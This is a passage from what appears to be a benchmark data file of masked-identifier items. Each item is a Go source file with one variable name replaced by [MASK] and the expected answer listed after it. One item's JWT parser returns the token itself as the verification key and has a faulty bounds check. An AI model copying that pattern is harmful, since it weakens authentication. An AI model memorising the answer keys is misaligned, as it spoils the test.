printTreeLevel(out io.Writer, path string, printFiles bool, [MASK] string) error { file, err := os.Open(path) if err != nil { return err } files, err := file.Readdir(0) if err != nil { return err } sort.Slice(files, func(i, j int) bool { return files[i].Name() < files[j].Name() }) lastDirectoryIndex := getLastDirectoryIndex(files) for index, meta := range files { if !meta.IsDir() && !printFiles { continue } prefix := fmt.Sprintf(""%s%s"", [MASK] , regularPrefix) levelIndent := fmt.Sprintf(""%s%s"", [MASK] , commonIndent) if (!printFiles && index == lastDirectoryIndex) || index == len(files) -1 { prefix = fmt.Sprintf(""%s%s"", [MASK] , lastPrefix) levelIndent = fmt.Sprintf(""%s%s"", [MASK] , emptyIndent) } if !meta.IsDir() { printFile(out, meta, prefix) continue } printDir(out, meta, prefix) nextLevelPath := fmt.Sprintf(""%s%s%s"", path, separator, meta.Name()) if err = printTreeLevel(out, nextLevelPath, printFiles, levelIndent); err != nil { return err } } return nil } func dirTree(out io.Writer, path string, printFiles bool) error { // print path fmt.Println(path) return printTreeLevel(out, path, printFiles, """") } func main() { out := os.Stdout if !(len(os.Args) == 2 || len(os.Args) == 3) { panic(""usage go run main.go . [-f]"") } path := os.Args[1] printFiles := len(os.Args) == 3 && os.Args[2] == ""-f"" err := dirTree(out, path, printFiles) if err != nil { panic(err.Error()) } } ",indent 292,"package main import ( ""context"" ""flag"" ""fmt"" ""slices"" ""strings"" ""github.com/Kilemonn/ModelVisualiser/consts"" ""github.com/Kilemonn/ModelVisualiser/visualiser"" ""github.com/goccy/go-graphviz"" ) func main() { inputFile := flag.String(consts.INPUT_FILE, """", ""Input file path"") outputFormat := flag.String(consts.OUTPUT_FORMAT, string(graphviz.PNG), ""Output image format e.g. jpg/png/svg (png is the default)"") flag.Parse() if inputFile == nil || *inputFile == """" { fmt.Printf(""No input file provided.\n"") flag.Usage() return } visualiser, err := visualiser.NewVisualiser(context.Background()) if err != nil { fmt.Printf(""Failed to create visualiser. Error: %s"", err.Error()) } defer visualiser.Close() graph, err := visualiser.FromFile(*inputFile) if err != nil { fmt.Printf(""Failed to generate graph from input file [%s] with error: [%s]\n"", *inputFile, err.Error()) return } defer graph.Close() outputFile := outputFileName(*inputFile, *outputFormat) err = visualiser.ToFile(graph, outputFile, extensionToFormat(*outputFormat, graphviz.PNG)) if err != nil { fmt.Printf(""Failed to write generated graph to file [%s] with error: [%s]\n"", outputFile, err.Error()) return } } func outputFileName(inputFilename string, outputFormat string) string { index := strings.LastIndex(inputFilename, consts.PERIOD) if index == -1 { return inputFilename + consts.PERIOD + outputFormat } return inputFilename[:index] + consts.PERIOD + outputFormat } func extensionToFormat(outputFormat string, defaultFormat graphviz.Format) graphviz.Format { lower := strings.ToLower(outputFormat) formats := []graphviz.Format{graphviz.PNG, graphviz.JPG, graphviz.XDOT, graphviz.SVG} [MASK] := make([]string, 0) for _, format := range formats { [MASK] = append( [MASK] , string(format)) } index := slices.Index( [MASK] , lower) if index == -1 { return defaultFormat } return formats[index] } ",formatStrings 293,"package winroute import ( ""errors"" ""fmt"" ""syscall"" ""unsafe"" log ""github.com/Sirupsen/logrus"" ) type NetRoute struct { iphlpapi *syscall.DLL getIpInterfaceEntry *syscall.Proc getIpForwardTable *syscall.Proc createIpForwardEntry *syscall.Proc setIpForwardEntry *syscall.Proc deleteIpForwardEntry *syscall.Proc systemError map[uint32]string } func NewNetRoute() *NetRoute { iphlpapi := syscall.MustLoadDLL(""iphlpapi.dll"") return &NetRoute{ iphlpapi: iphlpapi, getIpInterfaceEntry: iphlpapi.MustFindProc(""GetIpInterfaceEntry""), getIpForwardTable: iphlpapi.MustFindProc(""GetIpForwardTable""), createIpForwardEntry: iphlpapi.MustFindProc(""CreateIpForwardEntry""), setIpForwardEntry: iphlpapi.MustFindProc(""SetIpForwardEntry""), deleteIpForwardEntry: iphlpapi.MustFindProc(""DeleteIpForwardEntry""), // https://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx systemError: map[uint32]string{ 0: ""ERROR_SUCCESS"", 2: ""ERROR_FILE_NOT_FOUND"", 5: ""ERROR_ACCESS_DENIED"", 50: ""ERROR_NOT_SUPPORTED"", 87: ""ERROR_INVALID_PARAMETER"", 122: ""ERROR_INSUFFICIENT_BUFFER"", 1168: ""ERROR_NOT_FOUND"", }, } } func (r *NetRoute) Close() { r.iphlpapi.Release() } func (r *NetRoute) GetInterfaceByIndex( [MASK] uint32) (*IPInterfaceEntry, error) { ie := &IPInterfaceEntry{ Family: 2, // AF_INET (IPv4) InterfaceIndex: [MASK] , } // https://msdn.microsoft.com/en-us/library/windows/desktop/aa814417(v=vs.85).aspx r1, r2, err := r.getIpInterfaceEntry.Call(uintptr(unsafe.Pointer(ie))) log.Debugf(""%+v"", ie) return ie, r.buildError(r1, r2, err) } func (r *NetRoute) GetRoutes() ([]IPForwardRow, error) { // 112 bytes per route, assume 256 routes by default bufSize := uint32(112 * 256) buf := newDynamicMemory(bufSize) r1, r2, err := r.getIpForwardTable.Call( buf.Address(), uintptr(unsafe.Pointer(&bufSize)), 0, ) for r1 == 122 { log.WithFields(log.Fields{ ""cur_bufsize"": len(buf.mem), ""req_bufsize"": bufSize, }).Warn(""Insufficient Buffer"") buf = newDynamicMemory(bufSize) r1, r2, err = r.getIpForwardTable.Call( buf.Address(), uintptr(unsafe.Pointer(&bufSize)), 0, ) } if r1 != 0 { return nil, r.buildError(r1, r2, err) } num := *(*uint32)(unsafe.Pointer(buf.Address())) rows := []IPForwardRow{} sh_rows := (*SliceHeader)(unsafe.Pointer(&rows)) sh_rows.Addr = buf.Address() + 4 sh_rows.Len = int(num) sh_rows.Cap = int(num) return rows, nil } // AddRoute adds an IPForwardRow to the routing table. func (r *NetRoute) AddRoute(route *IPForwardRow) error { // https://msdn.microsoft.com/en-us/library/windows/desktop/aa365860(v=vs.85).aspx r1, r2, err := r.createIpForwardEntry.Call(uintptr(unsafe.Pointer(route))) return r.buildError(r1, r2, err) } func (r *NetRoute) UpdateRoute(route *IPForwardRow) error { // https://msdn.microsoft.com/en-us/library/windows/desktop/aa366363(v=vs.85).aspx r1, r2, err := r.setIpForwardEntry.Call(uintptr(unsafe.Pointer(route))) return r.buildError(r1, r2, err) } func (r *NetRoute) DeleteRoute(route *IPForwardRow) error { // https://msdn.microsoft.com/en-us/library/windows/desktop/aa365878(v=vs.85).aspx r1, r2, err := r.deleteIpForwardEntry.Call(uintptr(unsafe.Pointer(route))) return r.buildError(r1, r2, err) } func (r *NetRoute) buildError(r1 uintptr, r2 uintptr, err error) error { log.Debugf(""r1=%v r2=%v err=%+v"", r1, r2, err) if r1 == 0 { return nil } if m, ok := r.systemError[uint32(r1)]; ok { return errors.New(m) } return errors.New(fmt.Sprintf(""ERROR CODE %d"", r1)) } ",index 294,"package auth import ( ""errors"" ""github.com/dgrijalva/jwt-go"" ""strings"" ) // IdentityClaims identity JWT claims type IdentityClaims struct { Username string `json:""username""` Name string `json:""name""` LastName string `json:""last_name""` Picture *string `json:""picture""` Email string `json:""email""` Locale string `json:""locale""` Role string `json:""role""` jwt.StandardClaims } // ParseBearerJWT returns JWT claims from JWT bearer token func ParseBearerJWT(bearer string) (*IdentityClaims, error) { [MASK] := strings.Split(bearer, "" "") if len( [MASK] ) < 1 { return nil, errors.New(""invalid bearer token"") } tokenStr := [MASK] [1] token, err := jwt.ParseWithClaims(tokenStr, &IdentityClaims{}, func(token *jwt.Token) (interface{}, error) { return token, nil }) if err != nil { return nil, err } claims, ok := token.Claims.(*IdentityClaims) if !ok || !token.Valid { return nil, errors.New(""failed to map jwt claims"") } return claims, nil } ",spToken 295,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // A webserver that only serves a 404 page. Used as a default backend. package main import ( ""context"" ""flag"" ""fmt"" ""net/http"" ""os"" ""os/signal"" ""strconv"" ""syscall"" ""time"" ""github.com/prometheus/client_golang/prometheus"" ""github.com/prometheus/client_golang/prometheus/promhttp"" ) func init() { // Register the summary and the histogram with Prometheus's default registry. prometheus.MustRegister(requestCount) prometheus.MustRegister(requestDuration) } func main() { // command line arguments port := flag.Int(""port"", 8080, ""Port number to serve default backend 404 page."") healthPort := flag.Int(""svc-port"", 10254, ""Port number to serve /healthz and /metrics."") timeout := flag.Duration(""timeout"", 5*time.Second, ""Time in seconds to wait before forcefully terminating the server."") flag.Parse() notFound := newHTTPServer(fmt.Sprintf("":%d"", *port), notFound()) metrics := newHTTPServer(fmt.Sprintf("":%d"", *healthPort), metrics()) // start the healthz and metrics http server go func() { err := metrics.ListenAndServe() if err != http.ErrServerClosed { fmt.Fprintf(os.Stderr, ""could not start healthz/metrics http server: %s\n"", err) os.Exit(1) } }() // start the main http server go func() { err := notFound.ListenAndServe() if err != http.ErrServerClosed { fmt.Fprintf(os.Stderr, ""could not start http server: %s\n"", err) os.Exit(1) } }() waitShutdown(notFound, *timeout) } type server struct { mux *http.ServeMux } func (s *server) ServeHTTP(w http.ResponseWriter, r *http.Request) { s.mux.ServeHTTP(w, r) } func newHTTPServer( [MASK] string, handler http.Handler) *http.Server { return &http.Server{ Addr: [MASK] , Handler: handler, ReadTimeout: 10 * time.Second, ReadHeaderTimeout: 10 * time.Second, WriteTimeout: 10 * time.Second, IdleTimeout: 10 * time.Second, } } func notFound(options ...func(*server)) *server { s := &server{mux: http.NewServeMux()} // TODO: this handler exists only to avoid breaking existing deployments s.mux.HandleFunc(""/healthz"", func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) fmt.Fprint(w, ""ok"") }) s.mux.HandleFunc(""/"", func(w http.ResponseWriter, r *http.Request) { start := time.Now() w.WriteHeader(http.StatusNotFound) fmt.Fprint(w, ""default backend - 404"") duration := time.Now().Sub(start).Seconds() * 1e3 proto := strconv.Itoa(r.ProtoMajor) proto = proto + ""."" + strconv.Itoa(r.ProtoMinor) requestCount.WithLabelValues(proto).Inc() requestDuration.WithLabelValues(proto).Observe(duration) }) return s } func metrics() *server { s := &server{mux: http.NewServeMux()} s.mux.HandleFunc(""/healthz"", func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusOK) fmt.Fprint(w, ""ok"") }) s.mux.Handle(""/metrics"", promhttp.Handler()) return s } func waitShutdown(s *http.Server, timeout time.Duration) { stop := make(chan os.Signal, 1) signal.Notify(stop, os.Interrupt, syscall.SIGTERM) <-stop fmt.Fprintf(os.Stdout, ""stopping http server...\n"") ctx, cancel := context.WithTimeout(context.Background(), timeout) defer cancel() if err := s.Shutdown(ctx); err != nil { fmt.Fprintf(os.Stderr, ""could not gracefully shutdown http server: %s\n"", err) } } ",addr 296,"/* Copyright 2017 The Kubernetes Authors. Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // Package options provides the descheduler flags package options import ( ""github.com/spf13/pflag"" utilerrors ""k8s.io/apimachinery/pkg/util/errors"" clientset ""k8s.io/client-go/kubernetes"" ""k8s.io/component-base/logs"" ""sigs.k8s.io/descheduler/pkg/apis/componentconfig"" ""sigs.k8s.io/descheduler/pkg/apis/componentconfig/v1alpha1"" deschedulerscheme ""sigs.k8s.io/descheduler/pkg/descheduler/scheme"" ""github.com/cwdsuzhou/super-scheduling/pkg/generated/clientset/versioned"" ) // DeschedulerServer configuration type DeschedulerServer struct { componentconfig.DeschedulerConfiguration Client clientset.Interface TopologySchedulingClient versioned.Interface Logs *logs.Options } // NewDeschedulerServer creates a new DeschedulerServer with default parameters func NewDeschedulerServer() (*DeschedulerServer, error) { cfg, err := newDefaultComponentConfig() if err != nil { return nil, err } return &DeschedulerServer{ DeschedulerConfiguration: *cfg, Logs: logs.NewOptions(), }, nil } // Validation checks for DeschedulerServer. func (s *DeschedulerServer) Validate() error { var [MASK] []error [MASK] = append( [MASK] , s.Logs.Validate()...) return utilerrors.NewAggregate( [MASK] ) } func newDefaultComponentConfig() (*componentconfig.DeschedulerConfiguration, error) { versionedCfg := v1alpha1.DeschedulerConfiguration{} deschedulerscheme.Scheme.Default(&versionedCfg) cfg := componentconfig.DeschedulerConfiguration{} if err := deschedulerscheme.Scheme.Convert(&versionedCfg, &cfg, nil); err != nil { return nil, err } return &cfg, nil } // AddFlags adds flags for a specific SchedulerServer to the specified FlagSet func (rs *DeschedulerServer) AddFlags(fs *pflag.FlagSet) { fs.StringVar(&rs.Logging.Format, ""logging-format"", rs.Logging.Format, `Sets the log format. Permitted formats: ""text"", ""json"". Non-default formats don't honor these flags: --add-dir-header, --alsologtostderr, --log-backtrace-at, --log-dir, --log-file, --log-file-max-size, --logtostderr, --skip-headers, --skip-log-headers, --stderrthreshold, --log-flush-frequency.\nNon-default choices are currently alpha and subject to change without warning.`) fs.DurationVar(&rs.DeschedulingInterval, ""descheduling-interval"", rs.DeschedulingInterval, ""Time interval between two consecutive descheduler executions. Setting this value instructs the descheduler to run in a continuous loop at the interval specified."") fs.StringVar(&rs.KubeconfigFile, ""kubeconfig"", rs.KubeconfigFile, ""File with kube configuration."") fs.StringVar(&rs.PolicyConfigFile, ""policy-config-file"", rs.PolicyConfigFile, ""File with descheduler policy configuration."") fs.BoolVar(&rs.DryRun, ""dry-run"", rs.DryRun, ""execute descheduler in dry run mode."") // node-selector query causes descheduler to run only on nodes that matches the node labels in the query fs.StringVar(&rs.NodeSelector, ""node-selector"", rs.NodeSelector, ""DEPRECATED: selector (label query) to filter on, supports '=', '==', and '!='.(e.g. -l key1=value1,key2=value2)"") // max-no-pods-to-evict limits the maximum number of pods to be evicted per node by descheduler. fs.IntVar(&rs.MaxNoOfPodsToEvictPerNode, ""max-pods-to-evict-per-node"", rs.MaxNoOfPodsToEvictPerNode, ""DEPRECATED: limits the maximum number of pods to be evicted per node by descheduler"") // evict-local-storage-pods allows eviction of pods that are using local storage. This is false by default. fs.BoolVar(&rs.EvictLocalStoragePods, ""evict-local-storage-pods"", rs.EvictLocalStoragePods, ""DEPRECATED: enables evicting pods using local storage by descheduler"") } ",errs 297,"package main import ( ""context"" ""fmt"" ""log"" ""os"" ""strings"" ""github.com/aws/aws-lambda-go/cfn"" ""github.com/aws/aws-lambda-go/lambda"" ""github.com/aws/aws-sdk-go/aws"" ""github.com/aws/aws-sdk-go/aws/session"" ""github.com/aws/aws-sdk-go/service/cloudformation"" ""github.com/aws/aws-sdk-go/service/cloudwatch"" ) const ( envAwsRegion = ""AWS_REGION"" // reserved env envAwsNamespaces = ""AWS_NAMESPACES"" envCustomNamespace = ""CUSTOM_NAMESPACE"" envStreamName = ""METRIC_STREAM_NAME"" envFirehoseArn = ""FIREHOSE_ARN"" envRoleArn = ""METRIC_STREAM_ROLE_ARN"" envDebugMode = ""DEBUG_MODE"" envP8slogzioName = ""P8S_LOGZIO_NAME"" emptyString = """" listSeparator = "","" paramLogzioMetricsListener = ""logzioListener"" paramLogzioMetricsToken = ""logzioToken"" paramP8slogzioName = ""p8sLogzioName"" envLogzioMetricsListener = ""LOGZIO_METRICS_LISTENER"" envLogzioMetricsToken = ""LOGZIO_METRICS_TOKEN"" envStackName = ""STACK_NAME"" version = ""latest"" defualtP8sLogzioName = ""cloudwatch-helpers"" ) var logger = log.New(os.Stdout, """", log.Ldate|log.Ltime|log.Lshortfile) func debugLog(format string, v ...interface{}) { if strings.ToLower(os.Getenv(envDebugMode)) == ""true"" { logger.Printf(format, v...) } } func generatePhysicalResourceId(event cfn.Event) string { // Concatenate StackId and LogicalResourceId to form a unique PhysicalResourceId physicalResourceId := fmt.Sprintf(""%s-%s"", event.StackID, event.LogicalResourceID) return physicalResourceId } func main() { lambda.Start(cfn.LambdaWrap(HandleRequest)) } func HandleRequest(ctx context.Context, event cfn.Event) (physicalResourceID string, data map[string]interface{}, err error) { debugLog(""Debug mode enabled: Starting Lambda function execution."") debugLog(""Lambda HandleRequest invoked with event: %+v"", event) logger.Println(""Starting triggers run"") // If requestID is empty - the lambda call is not from a custom resource if event.RequestID != """" && event.RequestType == cfn.RequestCreate { // Custom resource CREATE invocation return customResourceRun(ctx, event) } else { return customResourceDoNothing(ctx, event) } } // Wrapper for Read, Update, Delete requests func customResourceDoNothing(ctx context.Context, event cfn.Event) (physicalResourceID string, data map[string]interface{}, err error) { debugLog(""Since the request type is not 'Create', no further action will be taken for this event: %+v"", event) return generatePhysicalResourceId(event), nil, nil } // Wrapper for first invocation from cloud formation custom resource func customResourceRun(ctx context.Context, event cfn.Event) (physicalResourceID string, data map[string]interface{}, err error) { debugLog(""Executing custom resource 'Create' operation for event: %+v"", event) if event.RequestType == cfn.RequestCreate { err = run() if err != nil { logger.Printf(""Error encountered during 'Create' operation: %s"", err.Error()) return } } else { logger.Println(""Got "", event.RequestType, "" request"") } return generatePhysicalResourceId(event), nil, nil } func run() error { debugLog(""Starting main logic execution for the custom resource deployment."") DeployS3Function := false awsNs, err := getAwsNamespaces() if err != nil { logger.Printf(""Failed to get AWS namespaces: %s"", err.Error()) return err } sess, sessErr := getSession() if sessErr != nil { logger.Printf(""Failed to create AWS session: %s"", sessErr.Error()) return sessErr } debugLog(""AWS session created successfully. AWS Namespaces to include: %v"", awsNs) client := cloudwatch.New(sess) streamName := os.Getenv(envStreamName) firehoseArn := os.Getenv(envFirehoseArn) [MASK] := os.Getenv(envRoleArn) debugLog(""Preparing to create CloudWatch metric stream with name: %s"", streamName) outputFormat := ""opentelemetry1.0"" filters := make([]*cloudwatch.MetricStreamFilter, 0) for _, namespace := range awsNs { filter := &cloudwatch.MetricStreamFilter{Namespace: aws.String(namespace)} filters = append(filters, filter) if namespace == nsS3 { DeployS3Function = true } } logger.Printf(""Filters prepared: %+v"", filters) putFilterOutput, err := client.PutMetricStream(&cloudwatch.PutMetricStreamInput{ FirehoseArn: &firehoseArn, IncludeFilters: filters, Name: &streamName, OutputFormat: &outputFormat, RoleArn: & [MASK] , }) if err != nil { logger.Printf(""Failed to create/update CloudWatch metric stream: %s"", err.Error()) return err } debugLog(""CloudWatch metric stream created/updated successfully"") logger.Println(putFilterOutput.String()) // deploy s3 function if needed if DeployS3Function { log.Printf(""Deploying S3 function"") cloudformationClient := cloudformation.New(sess) listener, getListenerErr := getListener() if getListenerErr != nil { return fmt.Errorf(""error while getting logzio listener address: %s"", getListenerErr.Error()) } token, tokenErr := getLogzioToken() if tokenErr != nil { return fmt.Errorf(""error while getting logzio token: %s"", tokenErr.Error()) } currentStack, stackErr := getStackName() if stackErr != nil { return fmt.Errorf(""error while getting stack name: %s"", stackErr.Error()) } params := []*cloudformation.Parameter{ { ParameterKey: aws.String(paramLogzioMetricsListener), ParameterValue: aws.String(listener), }, { ParameterKey: aws.String(paramLogzioMetricsToken), ParameterValue: aws.String(token), }, { ParameterKey: aws.String(paramP8slogzioName), ParameterValue: aws.String(getP8sLogzioName()), }, } stackName := fmt.Sprintf(""%v-s3"", currentStack) templateUrl := fmt.Sprintf(""https://logzio-aws-integrations-%v.s3.amazonaws.com/metric-stream-helpers/aws/%v/sam-s3-daily-metrics.yaml"", os.Getenv(envAwsRegion), version) // Create a new CloudFormation stack _, cfErr := cloudformationClient.CreateStack(&cloudformation.CreateStackInput{ StackName: aws.String(stackName), TemplateURL: aws.String(templateUrl), Parameters: params, Capabilities: []*string{ aws.String(cloudformation.CapabilityCapabilityAutoExpand), aws.String(cloudformation.CapabilityCapabilityIam), aws.String(cloudformation.CapabilityCapabilityNamedIam), }, }) if cfErr != nil { logger.Printf(""Error while creating stack: %s"", cfErr.Error()) return err } logger.Printf(""Stack %v created successfully"", stackName) } return nil } func getSession() (*session.Session, error) { sess, err := session.NewSessionWithOptions(session.Options{ Config: aws.Config{ Region: aws.String(os.Getenv(envAwsRegion)), }, }) if err != nil { return nil, fmt.Errorf(""error occurred while trying to create a connection to aws: %s. Aborting"", err.Error()) } return sess, nil } func getAwsNamespaces() ([]string, error) { awsNsStr := os.Getenv(envAwsNamespaces) customNs := os.Getenv(envCustomNamespace) if awsNsStr == emptyString && customNs == emptyString { return nil, fmt.Errorf(""either %s or %s must be set"", envAwsNamespaces, envCustomNamespace) } // Create a slice to hold the namespaces var namespaces []string // Add awsNsStr and customNs to the slice if they are not empty if awsNsStr != emptyString { namespaces = append(namespaces, awsNsStr) debugLog(""Appending AWS namespace string to namespaces: %s"", awsNsStr) } if customNs != emptyString { namespaces = append(namespaces, customNs) debugLog(""Appending custom namespace string to namespaces: %s"", customNs) } // Join namespace strings with the list separator fullNsStr := strings.Join(namespaces, listSeparator) // Remove all spaces from the final namespace string fullNsStr = strings.ReplaceAll(fullNsStr, "" "", """") ns := strings.Split(fullNsStr, listSeparator) for _, namespace := range ns { if namespace == nsAll { logger.Println(""detected ALL namespaces"") return getAllNamespaces(), nil } } logger.Printf(""detected the following services: %v"", ns) return ns, nil } // getListener Gets the listener from the environment variables func getListener() (string, error) { listener := os.Getenv(envLogzioMetricsListener) if listener == """" { return """", fmt.Errorf(""%s must be set"", envLogzioMetricsListener) } return listener, nil } // getLogzioToken Gets the Logz.io token from the environment variables func getLogzioToken() (string, error) { listener := os.Getenv(envLogzioMetricsToken) if listener == """" { return """", fmt.Errorf(""%s must be set"", envLogzioMetricsToken) } return listener, nil } func getP8sLogzioName() string { envTag := os.Getenv(envP8slogzioName) if envTag == """" { return defualtP8sLogzioName } return envTag } // getStackName gets the name of the cfn stack from environment variables func getStackName() (string, error) { stackName := os.Getenv(envStackName) if stackName == """" { return """", fmt.Errorf(""%s must be set"", envStackName) } return stackName, nil } ",roleArn 298,"package tabwriter import ( ""io"" ""text/tabwriter"" ) // New constructs and returns a pointer to a Writer struct with the specified // output, minimum width tab width, padding, padding character, and flags. For // more information on these parameters, please refer to the official // documentation for the standard tabwriter package: https://golang.org/pkg/text/tabwriter/ func New(output io.Writer, minimumWidth, [MASK] , padding int, paddingCharacter byte, flags uint) *Writer { return &Writer{ tabwriter.NewWriter(output, minimumWidth, [MASK] , padding, paddingCharacter, flags), } } // Writer embeds a pointer to a tabwriter.Writer struct type Writer struct { *tabwriter.Writer } // MustFlush ¯\_(ツ)_/¯ func (w *Writer) MustFlush() { if e := w.Writer.Flush(); e != nil { panic(e) } } ",tabWidth 299,"// Copyright 2018 syzkaller project authors. All rights reserved. // Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file. // Package signal provides types for working with feedback signal. package signal type ( elemType uint32 prioType int8 ) type Signal map[elemType]prioType type PatchSig map[uint32]map[uint64]uint32 type Serial struct { Elems []elemType Prios []prioType } type PatchSerial struct { PSig map[uint32]map[uint64]uint32 //Elems []elemType //Prios []prioType } func (s Signal) Len() int { return len(s) } func (s PatchSig) Len() int { return len(s) } func (s Signal) Empty() bool { return len(s) == 0 } func (s PatchSig) Empty() bool { return len(s) == 0 } func (s Signal) Copy() Signal { c := make(Signal, len(s)) for e, p := range s { c[e] = p } return c } func (s *Signal) Split(n int) Signal { if s.Empty() { return nil } c := make(Signal, n) for e, p := range *s { delete(*s, e) c[e] = p n-- if n == 0 { break } } if len(*s) == 0 { *s = nil } return c } func FromRaw(raw []uint32, prio uint8) Signal { if len(raw) == 0 { return nil } s := make(Signal, len(raw)) for _, e := range raw { s[elemType(e)] = prioType(prio) } return s } func PatchFuzzerFromRaw(Similarity []uint64, HashvarIdx []uint32, Hashvar []uint64, prio uint8) PatchSig { if len(Hashvar) == 0 || len(HashvarIdx) == 0 || len(Hashvar) != len(HashvarIdx) { return nil } //total_sim := 0 //for i := range Similarity { // total_sim += int(Similarity[i]) //} variableHashesRes := make(PatchSig) //go through HashvarIdx and Hashvar using the minimum max index of HashvarIdx and Hashvar for i := range HashvarIdx { index := HashvarIdx[i] hash_value := Hashvar[i] _, ok := variableHashesRes[index][hash_value] if !ok { variableHashesRes[index] = make(map[uint64]uint32) } variableHashesRes[index][hash_value] = uint32(prio) } //calc_prio := (1 + total_sim) * (1 + total_static_var) return variableHashesRes } func TraceFromRaw(PreTrace []uint32, EnableTrace []uint32, [MASK] []uint32, prio uint8) Signal { if len(PreTrace) == 0 && len(EnableTrace) == 0 { return nil } s := make(Signal, len(PreTrace)+len(EnableTrace)) for _, e := range EnableTrace { if val, ok := s[elemType(e)]; ok { if (val >> 4) < 0x4 { s[elemType(e)] = prioType(val + (2 << 4)) } } else { s[elemType(e)] = prioType(prio) } } for _, e := range [MASK] { if val, ok := s[elemType(e)]; ok { if (val >> 4) < 0x4 { s[elemType(e)] = prioType(val + (1 << 4)) } } else { continue } } for _, e := range PreTrace { if val, ok := s[elemType(e)]; ok { if (val >> 4) < 0x4 { s[elemType(e)] = prioType(val + (1 << 4)) } } else { s[elemType(e)] = prioType(prio) } } return s } func ObjCovFromRaw(raw []uint32, prio uint8) Signal { if len(raw) == 0 { return nil } s := make(Signal, len(raw)) for _, e := range raw { if val, ok := s[elemType(e)]; ok { // higher signal value when the same object address // is covered. we use 5th bit to 7th from the last since it's // unused in signalPrio, signalPrio uses the last and // second from the last. if (val >> 4) < 0x4 { // 4 is the max value s[elemType(e)] = prioType(val + (1 << 4)) } } else { s[elemType(e)] = prioType(prio) } } return s } func (s Signal) Serialize() Serial { if s.Empty() { return Serial{} } res := Serial{ Elems: make([]elemType, len(s)), Prios: make([]prioType, len(s)), } i := 0 for e, p := range s { res.Elems[i] = e res.Prios[i] = p i++ } return res } func (s PatchSig) Serialize() PatchSerial { //map[uint32]map[uint32]uint32 if s.Empty() { return PatchSerial{} } res := PatchSerial{ PSig: s, } return res } func (ser Serial) Deserialize() Signal { if len(ser.Elems) != len(ser.Prios) { panic(""corrupted Serial"") } if len(ser.Elems) == 0 { return nil } s := make(Signal, len(ser.Elems)) for i, e := range ser.Elems { s[e] = ser.Prios[i] } return s } func (ser PatchSerial) Deserialize() PatchSig { //map[uint32]map[uint32]uint32 if len(ser.PSig) == 0 { return nil } s := ser.PSig return s } func (s Signal) Diff(s1 Signal) Signal { if s1.Empty() { return nil } var res Signal for e, p1 := range s1 { if p, ok := s[e]; ok && p >= p1 { continue } if res == nil { res = make(Signal) } res[e] = p1 } return res } func (s PatchSig) Diff(s1 PatchSig) PatchSig { //panic(""\ntest1:\n"") if s1.Empty() { return nil } //panic(""\ntest0\n"") var res PatchSig for e, p1 := range s1 { for e2, p2 := range p1 { // judge if s[e] exists and s[e][e2] exists if _, ok := s[e]; ok { if p, ok := s[e][e2]; ok && p >= p2 { continue } if res == nil { res = make(PatchSig) } if _, ok := res[e][e2]; !ok { res[e] = make(map[uint64]uint32) } res[e][e2] = p2 } else { res = make(PatchSig) res[e] = make(map[uint64]uint32) res[e][e2] = p2 } } } return res } func (s Signal) DiffRaw(raw []uint32, prio uint8) Signal { var res Signal for _, e := range raw { if p, ok := s[elemType(e)]; ok && p >= prioType(prio) { continue } if res == nil { res = make(Signal) } res[elemType(e)] = prioType(prio) } return res } func (s Signal) Intersection(s1 Signal) Signal { if s1.Empty() { return nil } res := make(Signal, len(s)) for e, p := range s { if p1, ok := s1[e]; ok && p1 >= p { res[e] = p } } return res } func (s PatchSig) Intersection(s1 PatchSig) PatchSig { if s1.Empty() { return nil } res := make(PatchSig) for e, p0 := range s { for e2, p := range p0 { if _, ok := s1[e]; ok { if p1, ok := s1[e][e2]; ok && p1 >= p { if _, ok := res[e][e2]; !ok { res[e] = make(map[uint64]uint32) } res[e][e2] = p } } } } return res } func (s *Signal) Merge(s1 Signal) { if s1.Empty() { return } s0 := *s if s0 == nil { s0 = make(Signal, len(s1)) *s = s0 } for e, p1 := range s1 { if p, ok := s0[e]; !ok || p < p1 { s0[e] = p1 } } } func (s *PatchSig) Merge(s1 PatchSig) { if s1.Empty() { return } s0 := *s if s0 == nil { s0 = make(PatchSig) *s = s0 } //|| p < p1 for e, p2 := range s1 { for e1, p1 := range p2 { if _, ok := s0[e]; !ok { //set s0[e][e1] = p1 s0[e] = make(map[uint64]uint32) s0[e][e1] = p1 } else { if p, ok := s0[e][e1]; !ok || p < p1 { s0[e][e1] = p1 } } } } } type Context struct { Signal Signal Context interface{} } func Minimize(corpus []Context) []interface{} { type ContextPrio struct { prio prioType idx int } covered := make(map[elemType]ContextPrio) for i, inp := range corpus { for e, p := range inp.Signal { if prev, ok := covered[e]; !ok || p > prev.prio { covered[e] = ContextPrio{ prio: p, idx: i, } } } } indices := make(map[int]struct{}, len(corpus)) for _, cp := range covered { indices[cp.idx] = struct{}{} } result := make([]interface{}, 0, len(indices)) for idx := range indices { result = append(result, corpus[idx].Context) } return result } ",PostTrace 300,"/* This is free and unencumbered software released into the public domain. Anyone is free to copy, modify, publish, use, compile, sell, or distribute this software, either in source code form or as a compiled binary, for any purpose, commercial or non-commercial, and by any means. In jurisdictions that recognize copyright laws, the author or authors of this software dedicate any and all copyright interest in the software to the public domain. We make this dedication for the benefit of the public at large and to the detriment of our heirs and successors. We intend this dedication to be an overt act of relinquishment in perpetuity of all present and future rights to this software under copyright law. THE SOFTWARE IS PROVIDED ""AS IS"", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION 